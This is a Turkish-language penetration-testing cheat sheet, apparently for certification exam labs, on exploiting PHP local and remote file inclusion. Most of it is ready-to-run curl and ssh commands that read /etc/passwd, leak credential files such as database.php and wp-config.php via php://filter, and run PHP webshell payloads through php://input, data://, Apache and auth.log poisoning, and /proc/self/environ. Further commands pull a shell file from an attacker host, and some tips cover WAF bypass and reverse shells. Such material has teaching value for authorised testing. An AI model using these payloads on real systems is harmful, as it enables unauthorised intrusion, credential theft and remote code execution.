FOOTHOLD Metodoloji Cheat-sheet
Exploit ✓ EXAM-SAFE orta :80:443:8080

LFI/RFI — Local/Remote File Inclusion ve Wrapper RCE

PHP include akislarinda dosya okuma (base64 filtreleri, /etc/passwd), php://input ve data:// ile RCE, /var/log/auth.log + Apache access.log log poisoning, /proc/self/environ ve RFI ile kod calistirma.

Bilgi: ÖN KOŞULLAR
  • Bir GET/POST parametresinin dosya yoluna doğrudan beslendiği tespit edildi
  • Hedefte PHP çalıştığı doğrulandı
┌──

Komutlar

curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=../../../../etc/passwd'
Klasik path traversal ile /etc/passwd okuma — LFI varlığını doğrular. HackTricks — File Inclusion/Path Traversal
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d
php://filter base64 wrapper ile PHP kaynak kodunu okuma (kod yürütülmeden alınır, sonra çözülür). HackTricks — File Inclusion (php://filter)
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=php://filter/read=convert.base64-encode/resource=../config/database.php' | base64 -d
Yapılandırma/credential dosyalarını base64 ile sızdırma (DB şifreleri için). PayloadsAllTheThings — File Inclusion
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=php://input&cmd=id' --data-binary '<?php system($_GET["cmd"]); ?>'
php://input wrapper ile POST gövdesindeki PHP kodunu çalıştırma (allow_url_include=On gerekir). HackTricks — File Inclusion (php://input)
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id'
data:// wrapper ile base64 gömülü PHP payload çalıştırma (PD9waHA... = <?php system($_GET['cmd']);?>). HackTricks — File Inclusion (data://)
curl ✓ EXAM-SAFE
curl -s -A '<?php system($_GET["c"]); ?>' 'http://{{RHOST}}:{{RPORT}}/'
User-Agent başlığına PHP payload enjekte ederek Apache access.log'u zehirleme (poisoning adımı 1). HackTricks — File Inclusion (Log poisoning)
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=/var/log/apache2/access.log&c=id'
Zehirlenmiş Apache access.log'u include ederek RCE (poisoning adımı 2). HackTricks — File Inclusion (Log poisoning)
ssh ✓ EXAM-SAFE
ssh '<?php system($_GET["c"]); ?>'@{{RHOST}}
SSH kullanıcı adına PHP payload koyarak /var/log/auth.log'u zehirleme — başarısız login bile loga yazılır. HackTricks — File Inclusion (auth.log poisoning)
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=/var/log/auth.log&c=id'
Zehirlenmiş /var/log/auth.log'u include ederek komut çalıştırma. HackTricks — File Inclusion (auth.log poisoning)
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=/proc/self/environ' -A '<?php system($_GET["c"]); ?>'
/proc/self/environ include edilebiliyorsa User-Agent'taki payload yürütülür (eski kernel/PHP). PayloadsAllTheThings — File Inclusion (/proc/self/environ)
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=http://{{LHOST}}:{{LPORT}}/shell.txt&cmd=id'
RFI — allow_url_include=On ise uzak sunucudaki PHP payload include edilir (HTTP listener'da shell.txt sun). HackTricks — File Inclusion (RFI)
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/index.php?page=../../../../etc/passwd%00'
Null byte (%00) ile uzantı eklenmesini kesme — PHP < 5.3.4 magic_quotes_gpc=Off ortamlarında. PayloadsAllTheThings — File Inclusion (Null byte)

Tespit

Bir parametre (?page=, ?file=, ?include=, ?lang=) doğrudan dosya yoluna besleniyorsa LFI adayıdır. Önce ../../../../etc/passwd ile traversal denenir. Çıktı geliyorsa LFI doğrulandı. Hata mesajları (failed to open stream) yol yapısını ele verir; depth (kaç ../) için 3-8 arası denenir.

Kaynak Kodu Okuma

Uygulama dosyalarını düz okumaya çalışmak çoğu zaman PHP’yi çalıştırır ve boş döner. php://filter/convert.base64-encode/resource=... wrapper’ı dosyayı base64’e çevirip yürütülmeden döndürür; yerelde base64 -d ile çözülür. Bu yöntemle config.php, database.php, wp-config.php gibi credential içeren dosyalar sızdırılır — enum fazına geri besleme yapar.

LFI’dan RCE’ye

Öncelik sırası:

  • php://input: allow_url_include=On ise POST gövdesindeki PHP çalışır.
  • data://: aynı ayarla base64 gömülü payload çalışır.
  • Log poisoning: allow_url_include kapalıyken en güvenilir yol. Apache access.log (User-Agent başlığına payload) veya auth.log (SSH username’e payload) zehirlenir, sonra log dosyası include edilir. Log yolları: /var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/auth.log. Okuma izni gerekir.
  • /proc/self/environ: eski sistemlerde okunabiliyorsa User-Agent payload’ı yürütülür.
  • RFI: allow_url_include=On (nadir) ise kendi sunucundan PHP include edilir.

Gotchalar

  • Uzantı zorla ekleniyorsa (.php append) eski PHP’de %00 null byte ile kesilebilir; modern PHP’de path truncation veya wrapper gerekir.
  • WAF varsa ....// veya URL-encode (%2e%2e%2f) ile filtre atlatılır.
  • Log poisoning’de RCE alındıktan sonra hemen kararlı reverse shell’e geçilmeli (bkz. revshells), çünkü her istek logu büyütür ve tek satırlık payload’ı bozabilir.
┌──

Kaynaklar

0/15 set